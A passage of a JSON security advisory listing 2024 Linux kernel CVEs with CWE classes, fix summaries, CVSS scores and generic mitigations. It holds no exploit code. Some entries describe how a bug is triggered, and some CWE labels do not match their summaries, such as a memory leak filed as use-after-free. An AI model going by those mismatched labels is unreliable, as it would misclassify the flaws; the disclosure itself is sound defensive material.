      "cwe": {
        "id": "CWE-119",
        "name": "Improper Restriction of Operations within the Bounds of a Memory Buffer"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nkobject_uevent: Fix OOB access within zap_modalias_env()\r\n\r\nzap_modalias_env() wrongly calculates size of memory block to move, so\r\nwill cause OOB memory access issue if variable MODALIAS is not the last\r\none within its @env parameter, fixed by correcting size to memmove.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-42292"
    },
    {
      "cve": "CVE-2024-42302",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\n\nPCI/DPC: Fix use-after-free on concurrent DPC and hot-removal\n\nKeith reports a use-after-free when a DPC event occurs concurrently to\nhot-removal of the same portion of the hierarchy:\n\nThe dpc_handler() awaits readiness of the secondary bus below the\nDownstream Port where the DPC event occurred.  To do so, it polls the\nconfig space of the first child device on the secondary bus.  If that\nchild device is concurrently removed, accesses to its struct pci_dev\ncause the kernel to oops.\n\nThat\u0027s because pci_bridge_wait_for_secondary_bus() neglects to hold a\nreference on the child device.  Before v6.3, the function was only\ncalled on resume from system sleep or on runtime resume.  Holding a\nreference wasn\u0027t necessary back then because the pciehp IRQ thread\ncould never run concurrently.  (On resume from system sleep, IRQs are\nnot enabled until after the resume_noirq phase.  And runtime resume is\nalways awaited before a PCI device is removed.)\n\nHowever starting with v6.3, pci_bridge_wait_for_secondary_bus() is also\ncalled on a DPC event.  Commit 53b54ad074de (\"PCI/DPC: Await readiness\nof secondary bus after reset\"), which introduced that, failed to\nappreciate that pci_bridge_wait_for_secondary_bus() now needs to hold a\nreference on the child device because dpc_handler() and pciehp may\nindeed run concurrently.  The commit was backported to v5.10+ stable\nkernels, so that\u0027s the oldest one affected.\n\nAdd the missing reference acquisition.\n\nAbridged stack trace:\n\n  BUG: unable to handle page fault for address: 00000000091400c0\n  CPU: 15 PID: 2464 Comm: irq/53-pcie-dpc 6.9.0\n  RIP: pci_bus_read_config_dword+0x17/0x50\n  pci_dev_wait()\n  pci_bridge_wait_for_secondary_bus()\n  dpc_reset_link()\n  pcie_do_recovery()\n  dpc_handler()",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-42302"
    },
    {
      "cve": "CVE-2024-42304",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\next4: make sure the first directory block is not a hole",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-42304"
    },
    {
      "cve": "CVE-2024-42305",
      "cwe": {
        "id": "CWE-125",
        "name": "Out-of-bounds Read"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\next4: check dot and dotdot of dx_root before making dir indexed",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-42305"
    },
    {
      "cve": "CVE-2024-42306",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nudf: Avoid using corrupted block bitmap buffer",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-42306"
    },
    {
      "cve": "CVE-2024-42312",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nsysctl: always initialize i_uid/i_gid\r\n\r\nAlways initialize i_uid/i_gid inside the sysfs core so set_ownership()\r\ncan safely skip setting them.\r\n\r\nCommit 5ec27ec735ba (\"fs/proc/proc_sysctl.c: fix the default values of\r\ni_uid/i_gid on /proc/sys inodes.\") added defaults for i_uid/i_gid when\r\nset_ownership() was not implemented. It also missed adjusting\r\nnet_ctl_set_ownership() to use the same default values in case the\r\ncomputation of a better value failed.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-42312"
    },
    {
      "cve": "CVE-2024-43828",
      "cwe": {
        "id": "CWE-835",
        "name": "Loop with Unreachable Exit Condition (\u0027Infinite Loop\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: fix infinite loop when replaying fast_commit\n\nWhen doing fast_commit replay an infinite loop may occur due to an\nuninitialized extent_status struct.  ext4_ext_determine_insert_hole() does\nnot detect the replay and calls ext4_es_find_extent_range(), which will\nreturn immediately without initializing the \u0027es\u0027 variable.\n\nBecause \u0027es\u0027 contains garbage, an integer overflow may happen causing an\ninfinite loop in this function, easily reproducible using fstest generic/039.\n\nThis commit fixes this issue by unconditionally initializing the structure\nin function ext4_es_find_extent_range().\n\nThanks to Zhang Yi, for figuring out the real problem!",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-43828"
    },
    {
      "cve": "CVE-2024-43830",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nleds: trigger: Unregister sysfs attributes before calling deactivate()\r\n\r\nTriggers which have trigger specific sysfs attributes typically store\r\nrelated data in trigger-data allocated by the activate() callback and\r\nfreed by the deactivate() callback.\r\n\r\nCalling device_remove_groups() after calling deactivate() leaves a window\r\nwhere the sysfs attributes show/store functions could be called after\r\ndeactivation and then operate on the just freed trigger-data.\r\n\r\nMove the device_remove_groups() call to before deactivate() to close\r\nthis race window.\r\n\r\nThis also makes the deactivation path properly do things in reverse order\r\nof the activation path which calls the activate() callback before calling\r\ndevice_add_groups().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 6.6,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-43830"
    },
    {
      "cve": "CVE-2024-43834",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nxdp: fix invalid wait context of page_pool_destroy()\r\n\r\nIf the driver uses a page pool, it creates a page pool with\r\npage_pool_create().\r\nThe reference count of page pool is 1 as default.\r\nA page pool will be destroyed only when a reference count reaches 0.\r\npage_pool_destroy() is used to destroy page pool, it decreases a\r\nreference count.\r\nWhen a page pool is destroyed, -\u003edisconnect() is called, which is\r\nmem_allocator_disconnect().\r\nThis function internally acquires mutex_lock().\r\n\r\nIf the driver uses XDP, it registers a memory model with\r\nxdp_rxq_info_reg_mem_model().\r\nThe xdp_rxq_info_reg_mem_model() internally increases a page pool\r\nreference count if a memory model is a page pool.\r\nNow the reference count is 2.\r\n\r\nTo destroy a page pool, the driver should call both page_pool_destroy()\r\nand xdp_unreg_mem_model().\r\nThe xdp_unreg_mem_model() internally calls page_pool_destroy().\r\nOnly page_pool_destroy() decreases a reference count.\r\n\r\nIf a driver calls page_pool_destroy() then xdp_unreg_mem_model(), we\r\nwill face an invalid wait context warning.\r\nBecause xdp_unreg_mem_model() calls page_pool_destroy() with\r\nrcu_read_lock().\r\nThe page_pool_destroy() internally acquires mutex_lock().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-43834"
    },
    {
      "cve": "CVE-2024-43856",
      "cwe": {
        "id": "CWE-770",
        "name": "Allocation of Resources Without Limits or Throttling"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndma: fix call order in dmam_free_coherent\n\ndmam_free_coherent() frees a DMA allocation, which makes the\nfreed vaddr available for reuse, then calls devres_destroy()\nto remove and free the data structure used to track the DMA\nallocation. Between the two calls, it is possible for a\nconcurrent task to make an allocation with the same vaddr\nand add it to the devres list.\n\nIf this happens, there will be two entries in the devres list\nwith the same vaddr and devres_destroy() can free the wrong\nentry, triggering the WARN_ON() in dmam_match.\n\nFix by destroying the devres entry before freeing the DMA\nallocation.\n\n  kokonut //net/encryption\n    http://sponge2/b9145fe6-0f72-4325-ac2f-a84d81075b03",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-43856"
    },
    {
      "cve": "CVE-2024-43858",
      "cwe": {
        "id": "CWE-129",
        "name": "Improper Validation of Array Index"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\n\njfs: Fix array-index-out-of-bounds in diFree",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-43858"
    },
    {
      "cve": "CVE-2024-43871",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: devres: Fix memory leakage caused by driver API devm_free_percpu() It will cause memory leakage when use driver API devm_free_percpu() to free memory allocated by devm_alloc_percpu(), fixed by using devres_release() instead of devres_destroy() within devm_free_percpu().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-43871"
    },
    {
      "cve": "CVE-2024-43879",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "wifi: cfg80211: Currently NL80211_RATE_INFO_HE_RU_ALLOC_2x996 is not handled in cfg80211_calculate_bitrate_he(), leading to warning.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-43879"
    },
    {
      "cve": "CVE-2024-43882",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "exec: the execution may gain unintended privileges.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.0,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-43882"
    },
    {
      "cve": "CVE-2024-43889",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "padata: vulnerability due to a possible divide-by-zero error in padata_mt_helper() during bootup, caused by an uninitialized chunk_size being zero.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-43889"
    },
    {
      "cve": "CVE-2024-43890",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "tracing: vulnerability due to an overflow in get_free_elt(), which could lead to infinite loops and CPU hangs when the tracing map becomes full.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-43890"
    },
    {
      "cve": "CVE-2024-43893",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "serial: core: vulnerability due to a missing check for uartclk being zero, leading to a potential divide-by-zero error when calling ioctl TIOCSSERIAL with an invalid baud_base.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-43893"
    },
    {
      "cve": "CVE-2024-44935",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "sctp: Fix null-ptr-deref in reuseport_add_sock(). A Null Pointer Dereference in reuseport_add_sock() while accessing sk2-\u003esk_reuseport_cb . The repro first creates a listener with SO_REUSEPORT. Then, it creates another listener on the same port and concurrently closes the first listener. The second listen() calls reuseport_add_sock() with the first listener as sk2, where sk2-\u003esk_reuseport_cb is not expected to be cleared concurrently, but the close() does clear it by reuseport_detach_sock().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-44935"
    },
    {
      "cve": "CVE-2024-44944",
      "cwe": {
        "id": "CWE-401",
        "name": "Missing Release of Memory after Effective Lifetime"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: netfilter: ctnetlink: use helper function to calculate expect ID Delete expectation path is missing a call to the nf_expect_get_id() helper function to calculate the expectation ID, otherwise LSB of the expectation object address is leaked to userspace.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-44944"
    },
    {
      "cve": "CVE-2024-44948",
      "cwe": {
        "id": "CWE-754",
        "name": "Improper Check for Unusual or Exceptional Conditions"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nx86/mtrr: Check if fixed MTRRs exist before saving them\r\n\r\nMTRRs have an obsolete fixed variant for fine grained caching control\r\nof the 640K-1MB region that uses separate MSRs. This fixed variant has\r\na separate capability bit in the MTRR capability MSR.\r\n\r\nSo far all x86 CPUs which support MTRR have this separate bit set, so it\r\nwent unnoticed that mtrr_save_state() does not check the capability bit\r\nbefore accessing the fixed MTRR MSRs.\r\n\r\nThough on a CPU that does not support the fixed MTRR capability this\r\nresults in a #GP.  The #GP itself is harmless because the RDMSR fault is\r\nhandled gracefully, but results in a WARN_ON().\r\n\r\nAdd the missing capability check to prevent this.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-44948"
    },
    {
      "cve": "CVE-2024-44960",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "usb: gadget: core: Check for unset descriptor. It needs to be reassured that the descriptor has been set before looking at maxpacket. This fixes a null pointer panic in this case. This may happen if the gadget doesn\u0027t properly set up the endpoint for the current speed, or the gadget descriptors are malformed and the descriptor for the speed/endpoint are not found. No current gadget driver is known to have this problem, but this may cause a hard-to-find bug during development of new gadgets.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-44960"
    },
    {
      "cve": "CVE-2024-44987",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: ipv6: prevent UAF in ip6_send_skb().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-44987"
    },
    {
      "cve": "CVE-2024-44989",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: bonding: fix xfrm real_dev null pointer dereference.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
